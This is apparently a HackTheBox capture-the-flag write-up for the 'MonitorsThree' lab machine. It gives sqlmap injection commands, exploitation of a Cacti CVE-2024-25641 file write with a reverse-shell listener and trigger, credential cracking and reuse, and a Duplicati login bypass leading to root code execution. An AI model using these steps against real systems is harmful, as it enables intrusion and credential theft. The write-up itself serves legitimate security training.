HTB: MonitorsThree Writeup
MonitorsThree - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | MonitorsThree |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.11.X |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐⭐⭐☆
- CTF-like: ⭐⭐⭐☆☆
Summary
MonitorsThree presents a company site for a networking-solutions vendor sitting behind an nginx front end at monitorsthree.htb. The forgotten-password flow leaks a blind SQL injection in the username parameter, which was enough to dump the application’s user table and crack the admin hash. That password didn’t work on the main login — it belonged to a Cacti monitoring instance hiding on a separate vhost, cacti.monitorsthree.htb. Cacti 1.2.26 is vulnerable to CVE-2024-25641, an authenticated arbitrary file write in the Package Import feature, which was used to drop a PHP payload and pop a www-data shell. From there, database credentials in Cacti’s own config led to a second set of crackable credentials for the local user marcus, whose SSH private key completed the foothold. Root came from a Duplicati backup service bound to localhost, exploited via a documented authentication-bypass technique against its SQLite-stored server passphrase, followed by abusing its run-script-before advanced option to execute a script as root against the host filesystem mounted into the container’s backup source.
TL;DR: Blind SQLi in forgot_password.php → cracked admin hash → Cacti 1.2.26 admin login on a discovered subdomain → CVE-2024-25641 Package Import arbitrary file write → www-data shell → DB creds in global.php → cracked marcus bcrypt hash → SSH as marcus (user flag) → localhost-only Duplicati 2.0.8.1 → SQLite passphrase leak → auth bypass → run-script-before RCE as root (root flag).
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.10.11.XResults:
22/tcp— SSH80/tcp— nginx, redirects to themonitorsthree.htbvirtual host
The redirect meant the host header mattered from the very first request, so monitorsthree.htb went into /etc/hosts before any further enumeration:
echo "10.10.11.X monitorsthree.htb" | sudo tee -a /etc/hostsService Enumeration
The site at monitorsthree.htb is a marketing page for a networking-services company, with a login page and a “Forgot Password” flow. Neither the login form nor the obvious injection points on it reacted to payloads, but the forgot-password page’s username field behaved differently under injection — the response changed based on truthy/falsy conditions even though no SQL error text was reflected back.
Virtual-host discovery against the same IP turned up a second subdomain, cacti.monitorsthree.htb, which was also added to /etc/hosts. This hosted a separate Cacti network-monitoring login page.
Vulnerability Assessment
- Blind SQL injection in
forgot_password.php(usernamePOST parameter) onmonitorsthree.htb. - Cacti 1.2.26 on
cacti.monitorsthree.htb, vulnerable to CVE-2024-25641.
Initial Foothold
SQL Injection → Admin Credential Dump
On this live instance the injection was blind-only: MySQL error output was never reflected in the immediate response, and the actual true/false oracle only showed up on the post-redirect page, not the injection response itself. That ruled out error-based extraction and pushed this toward a time-based blind approach.
# Captured the forgot_password.php POST request with Burp, marked the# username parameter as the injection point, and handed it to sqlmapsqlmap -r forgot_password_req.txt -p username --risk 3 --level 5 --dbsWith the database confirmed (monitorsthree_db), the users table was pulled via sqlmap’s time-based technique (forced, since boolean/error responses weren’t usable directly against the redirect target):
sqlmap -r forgot_password_req.txt -p username \ -D monitorsthree_db -T users --dump --technique=TThis produced the admin row with an MD5 hash, 31a181c8…, which cracked to:
greencacti2001Why this works: the forgot-password lookup concatenates the submitted username directly into a SELECT used to decide whether to show a “reset sent” vs. “user not found” state, without parameterization. Even with error display suppressed, that conditional branch is a perfectly usable boolean/time oracle for sqlmap.
Cacti 1.2.26 — CVE-2024-25641 (Package Import Arbitrary File Write)
greencacti2001 didn’t work against the main site login — it worked as admin on the Cacti instance found at cacti.monitorsthree.htb, which displayed version 1.2.26 in the UI footer.
Cacti 1.2.26 is vulnerable to CVE-2024-25641, an arbitrary file write in import_package() (lib/import.php). The Package Import feature accepts a signed XML/gzip package and blindly trusts the filename and file contents embedded in it, writing them to disk without validating the path or verifying the signature against any Cacti-configured key — the “trusted” key is whatever public key is embedded in the package itself, self-signed on the fly. An admin account with Import Templates rights (default for admin) can therefore write an arbitrary PHP file into a web-reachable directory.
Two live-environment quirks mattered for actually getting this to fire on this box:
- The “Trust signer” option had to be submitted as the literal string
trust_signer=on(not1) for the import to be accepted as trusted. preview_onlyhad to be left empty — leaving it non-empty caused Cacti to only preview the package contents instead of writing the file to disk.
# Generated a self-signed package containing a PHP payload under resource/,# per CVE-2024-25641, then gzip'd it for import:# 1. openssl_pkey_new() → generate an RSA keypair# 2. embed PHP payload + its signature + the public key in the XML# 3. sign the whole XML blob, wrap in <signature>, gzip -9php build_package.php # -> package.xml.gzThe generated .xml.gz was uploaded through Cacti’s Import Packages page as admin. Cacti’s cron job wipes the resource/ directory roughly every minute, so a webshell dropped there had a very short usable window — instead of a stealthy webshell, the payload written to resource/ was a one-shot reverse shell, triggered immediately after import by requesting it:
nc -lnvp 4444 &curl http://cacti.monitorsthree.htb/cacti/resource/<payload>.php$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)Stable www-data shell obtained before cron could clean up the dropped file.
Privilege Escalation
www-data → marcus
Cacti’s own configuration file leaked its database credentials:
www-data@monitorsthree:~/html/cacti$ cat include/global.php | grep database_$database_type = 'mysql';$database_default = 'cacti';$database_hostname = 'localhost';$database_username = 'cactiuser';$database_password = 'cactiuser';Logging into the local cacti MySQL database with cactiuser:cactiuser exposed the user_auth table, which stores bcrypt hashes for Cacti’s own web users — including marcus, matching the machine’s local Linux account of the same name.
-- cacti.user_authmysql> SELECT username, password FROM user_auth WHERE username='marcus';The bcrypt hash for marcus cracked to:
12345678910That password worked directly against the local account:
www-data@monitorsthree:~$ su marcusPassword: 12345678910$ iduid=1000(marcus) gid=1000(marcus) groups=1000(marcus)As marcus, an SSH private key was sitting in ~/.ssh/id_rsa, providing a clean, stable SSH foothold rather than relying on the reverse shell:
ssh -i marcus_id_rsa marcus@10.10.11.XUser flag captured from /home/marcus/user.txt.
marcus → root: Duplicati Auth Bypass + run-script-before RCE
Local port enumeration as marcus turned up a service bound only to loopback on port 8200. SSH local port-forwarding exposed it:
ssh -i marcus_id_rsa -L 8200:127.0.0.1:8200 marcus@10.10.11.XBrowsing to the forwarded port revealed Duplicati 2.0.8.1, a backup client running as root, with the host filesystem mounted into its backup-source view at /source — i.e., /source/home/marcus/... on the Duplicati side maps back to the real /home/marcus/... on the host.
Duplicati stores its web-UI authentication state, including the server passphrase, in a local SQLite database:
marcus@monitorsthree:~$ find / -name "Duplicati-server.sqlite" 2>/dev/null/opt/duplicati/config/Duplicati-server.sqliteThe file was world-readable, and the Option table inside it held the server passphrase used to derive login tokens. Duplicati’s web login challenge/response is not a plain password check — it’s a nonce-salted SHA-256 scheme:
noncedpwd = base64( SHA256( nonce_bytes || base64decode(server_passphrase) ) )Reconstructing that client-side (matching the server’s own nonce for the current login attempt) produced a valid login token without ever needing the plaintext passphrase — a documented authentication bypass against Duplicati’s nonce-based login when the server passphrase is recoverable from disk.
With an authenticated session, Duplicati’s Advanced options expose run-script-before, a hook that executes an arbitrary script as the Duplicati process user — root, in this case — immediately before a backup job runs. Since the backup source path (/source) is the real host root mounted read/write into the service, a script could be staged on the host (under marcus’s home) and then referenced from the Duplicati side of that same mount:
# Backup job configuration (via the Duplicati web UI):# Advanced option: run-script-before = /source/home/marcus/pwn.shRunning the backup job executed pwn.sh as root before the backup itself started, since run-script-before fires under the Duplicati service’s own privileges rather than the invoking user’s.
$ iduid=0(root) gid=0(root) groups=0(root)Root shell confirmed with euid=0. Root flag captured.
Attack Chain Summary
Blind SQLi (forgot_password.php) → dump monitorsthree_db.users → crack admin MD5 (greencacti2001) → discover cacti.monitorsthree.htb → Cacti 1.2.26 admin login → CVE-2024-25641 Package Import arbitrary file write → reverse shell (www-data) → include/global.php DB creds (cactiuser:cactiuser) → cacti.user_auth bcrypt for marcus → crack (12345678910) → su marcus → SSH key (~/.ssh/id_rsa) → SSH as marcus (USER FLAG) → port-forward Duplicati (127.0.0.1:8200) → leak server passphrase (Duplicati-server.sqlite) → nonce-based auth bypass → run-script-before via /source mount → root shell (ROOT FLAG)Tools Used
| Tool | Purpose |
|---|---|
nmap | Port/service discovery |
| Burp Suite | Intercepting and shaping the injection request for sqlmap |
sqlmap | Time-based blind SQL injection, database/table/credential dump |
| Custom PHP (openssl_pkey_new/openssl_sign) | Building the signed Cacti package for CVE-2024-25641 |
nc / curl | Triggering and catching the reverse shell from the written payload |
mysql client | Reading Cacti’s user_auth table for the marcus hash |
| Password cracker (offline, bcrypt/MD5) | Cracking the admin MD5 and marcus bcrypt hashes |
ssh / scp | Stable foothold as marcus; port-forwarding Duplicati; retrieving the SQLite DB |
| Browser dev console (SHA-256/Base64) | Reconstructing the Duplicati nonce-salted login token |
| Duplicati Web UI | Configuring the malicious backup job (run-script-before) |
Key Learnings
Techniques Practiced
- Identifying a blind SQLi oracle even when error output isn’t reflected, by watching for redirect/response-state differences
- Virtual-host discovery to uncover a second application (Cacti) not linked from the main site
- Exploiting CVE-2024-25641 against Cacti’s Package Import signature trust model
- Racing a cron-based cleanup window with a one-shot reverse shell instead of a persistent webshell
- Credential reuse across an application’s own database layer to escalate from a web user to a system user
- Exploiting a local-only service exposed via SSH port-forwarding
- Reconstructing a nonce-salted authentication scheme client-side from a leaked server secret
- Abusing a backup tool’s pre-job script hook combined with a host-filesystem bind mount to get code execution as the service’s privileged user
Lessons Learned
- A password reused between a leaked application DB and a separate monitoring tool’s admin account is often the actual intended pivot — always retry cracked credentials against every discovered login surface, not just the one it came from.
- Signed-package import features are only as safe as the signature verification path — if the “trusted” key is whatever key ships inside the package, the signature buys nothing.
- Services bound to
127.0.0.1are not out of scope once you have any shell — they’re frequently where the privileged process (backup agents, monitoring daemons, local admin panels) actually lives. - “World-readable config/database on disk” is functionally equivalent to “credentials are public” the moment that file contains anything used to derive an auth token, even without a plaintext password stored directly.
- Any backup/automation tool that lets you point a pre/post-job hook at an attacker-writable path, while also mounting privileged filesystem locations into its own working view, is a direct root primitive — treat
run-script-before/run-script-after-style options as code execution, not configuration.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- MonitorsThree — Official HackTheBox Writeup by k1ph4ru (Document No D25.100.318, Machine Authors: ruycr4ft & kavigihan) — used to confirm the CVE-2024-25641 Package Import mechanism and the general shape of the Duplicati authentication-bypass technique referenced above.